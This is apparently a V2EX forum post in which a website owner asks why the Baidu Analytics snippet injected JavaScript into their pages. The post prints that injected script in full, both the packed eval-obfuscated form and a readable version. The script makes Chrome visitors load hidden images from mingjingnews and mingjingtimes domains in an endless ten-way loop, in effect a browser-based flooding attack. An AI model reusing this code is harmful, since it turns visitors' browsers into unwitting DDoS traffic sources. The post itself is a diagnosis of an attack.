我的一个网站使用了百度统计,最近突然变得很慢,开始以为是我自己家里网络的问题,没有在意。 今天再次访问网站,MacBook Pro 的风扇呜呜作响,感觉都要爆炸了。 我打开 Chrome 的开发者工具,看到了这个(YouTube,需翻墙):
https://www.youtube.com/watch?v=ySzVHv1bfdA
页面底部被注入了图片链接,并且不断循环,链接均指向境外反动网站明镜网。 同时,页面上不断产生类似于下面这样的 503 错误,不一会儿就好几千个:
http://ipv4.google.com/sorry/index?continue=http://www.mingjingtimes.com/%3Ft%3D150318023815&q=EgTSN1cMGIGa4MwFIhkA8aeDS3_xETjcPPEY575z-8z10KBSiPxLMgNyY24
看起来是有某段 Javascript 代码对页面进行了注入。一些尝试:
通过在 Chrome 开发工具中对 JS 进行调试,最后定位到问题是这段百度统计代码引入的:
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "//hm.baidu.com/hm.js?375aa6d6013xxxx6e50751c1cxxxxxxxxx";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
页面加载后,它先是注入了以下代码:
eval(function(p, a, c, k, e, d) {
e = function(c) {
return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
}
;
if (!''.replace(/^/, String)) {
while (c--)
d[e(c)] = k[c] || e(c);
k = [function(e) {
return d[e]
}
];
e = function() {
return '\\w+'
}
;
c = 1;
}
;while (c--)
if (k[c])
p = p.replace(new RegExp('\\b' + e(c) + '\\b','g'), k[c]);
return p;
}('e((/15\\/([\\d]+)/16.17(m.y.A.J())[1]>=12)&&(m.y.A.J().14("1b")<0)){3 L=1c;3 x=[\'i://1d.n.h/\',\'i://18.n.h/\',\'i://19.n.h/\',\'i://1a.T.h/\',\'i://H.n.h/U/V/H.11\'];3 K=Y;3 o=W;3 O=10;3 r=1;g q(){3 9=c 7();I 7.X(9.Z(),9.1e(),9.1v(),9.1w(),9.P(),9.N())/D}j.G("E")[0].F="<1u 1s=\\"C\\" 1t=\\"1x-C\\">"+j.G("E")[0].F;3 a=[];3 f=[];3 w=5;3 b=[];3 6=[];3 p=\'\';3 k=0;g v(2){3 8=a[2];e(8!=5){j.B.1z(8)}a[2]=5;e(k<K&&6[2]-w<L){M(\'s(\'+2+\')\',(6[2]-b[2])>o?o:(6[2]-b[2]))}}g S(2){e(a[2]==5){I}e(a[2].1f){m.z(f[2]);6[2]=c 7().l();v(2)}1g{e(c 7().l()-b[2]>o){m.z(f[2]);v(2)}}}g s(2){8=j.B.1r(j.1n(\'1o\'));p=x[q()%x.1m];8.1q=p+\'?t=\'+q()+Q.1p(Q.1l()*1h);8.1k.1j=\'1i\';a[2]=8;b[2]=6[2]=c 7().l();f[2]=1A("S("+2+")",1y);k=k+1}g R(){w=c 7().l();1B(3 4=0;4<O;4+=1){a[4]=5;f[4]=5;b[4]=5;6[4]=5;s(4)}}3 u=c 7();M(\'R()\',((r-u.P()%r)*13-u.N())*D)}', 62, 100, '||index|var|ti|null|responsetime_list|Date|p_img_tmp|dt|p_img_list|requesttime_list|new||if|timer_list|function|com|http|document|count|getTime|window|mingjingnews|TIMEGAP|url|unixtime|START_CLOCK|imgadd||now|imgdel|starttime|url_list|navigator|clearInterval|userAgent|body|referrer|1000|head|innerHTML|getElementsByTagName|bravo|return|toLowerCase|MAX_COUNT|MAX_TIME|setTimeout|getSeconds|THREAD|getMinutes|Math|start|isImgComplete|mingjingtimes|2017|01|500|UTC|100000000|getFullYear||html|34|60|indexOf|chrome|gi|exec|s1|tv|www|edge|300000|news|getMonth|complete|else|100|none|display|style|random|length|createElement|img|ceil|src|appendChild|name|content|meta|getDate|getHours|no|50|removeChild|setInterval|for'.split('|'), 0, {}))
以及以下代码:
if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) {
var MAX_TIME = 300000;
var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/', 'http://bravo.mingjingnews.com/2017/01/bravo.html'];
var MAX_COUNT = 100000000;
var TIMEGAP = 500;
var THREAD = 10;
var START_CLOCK = 1;
function unixtime() {
var dt = new Date();
return Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDate(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000
}
document.getElementsByTagName("head")[0].innerHTML = "<meta name=\"referrer\" content=\"no-referrer\">" + document.getElementsByTagName("head")[0].innerHTML;
var p_img_list = [];
var timer_list = [];
var starttime = null;
var requesttime_list = [];
var responsetime_list = [];
var url = '';
var count = 0;
function imgdel(index) {
var p_img_tmp = p_img_list[index];
if (p_img_tmp != null) {
document.body.removeChild(p_img_tmp)
}
p_img_list[index] = null;
if (count < MAX_COUNT && responsetime_list[index] - starttime < MAX_TIME) {
setTimeout('imgadd(' + index + ')', (responsetime_list[index] - requesttime_list[index]) > TIMEGAP ? TIMEGAP : (responsetime_list[index] - requesttime_list[index]))
}
}
function isImgComplete(index) {
if (p_img_list[index] == null) {
return
}
if (p_img_list[index].complete) {
window.clearInterval(timer_list[index]);
responsetime_list[index] = new Date().getTime();
imgdel(index)
} else {
if (new Date().getTime() - requesttime_list[index] > TIMEGAP) {
window.clearInterval(timer_list[index]);
imgdel(index)
}
}
}
function imgadd(index) {
p_img_tmp = document.body.appendChild(document.createElement('img'));
url = url_list[unixtime() % url_list.length];
p_img_tmp.src = url + '?t=' + unixtime() + Math.ceil(Math.random() * 100);
p_img_tmp.style.display = 'none';
p_img_list[index] = p_img_tmp;
requesttime_list[index] = responsetime_list[index] = new Date().getTime();
timer_list[index] = setInterval("isImgComplete(" + index + ")", 50);
count = count + 1
}
function start() {
starttime = new Date().getTime();
for (var ti = 0; ti < THREAD; ti += 1) {
p_img_list[ti] = null;
timer_list[ti] = null;
requesttime_list[ti] = null;
responsetime_list[ti] = null;
imgadd(ti)
}
}
var now = new Date();
setTimeout('start()', ((START_CLOCK - now.getMinutes() % START_CLOCK) * 60 - now.getSeconds()) * 1000)
}
后面这段代码的第一行显示,攻击仅仅针对 Chrome 浏览器。 而第三行代码,则给出了一串网址,用于循环生成需要插入的链接:
var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/', 'http://bravo.mingjingnews.com/2017/01/bravo.html'];
可以看到它们全部指向明镜网的不同子域名,正是我所看到的。
将百度统计的代码移除后,问题立即消失了。但是我很不解: 百度统计这是想做什么呢?难道是被黑了吗? 另外这两段代码,以及注入的内容,具体是想达到什么目的呢?看起来就是不断的插入和删除图片链接?
期望高手解惑。
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.